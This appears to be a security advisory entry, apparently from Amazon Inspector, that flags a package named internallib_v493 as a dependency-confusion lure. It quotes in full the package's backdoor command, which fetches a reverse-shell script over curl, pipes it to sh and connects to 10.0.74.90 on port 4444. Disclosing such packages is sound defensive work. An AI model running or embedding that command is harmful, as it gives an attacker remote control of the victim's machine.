취약점

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7)

The package's sole exported function command() in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly to sh to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (internallib_v493) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (reuquire instead of require) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.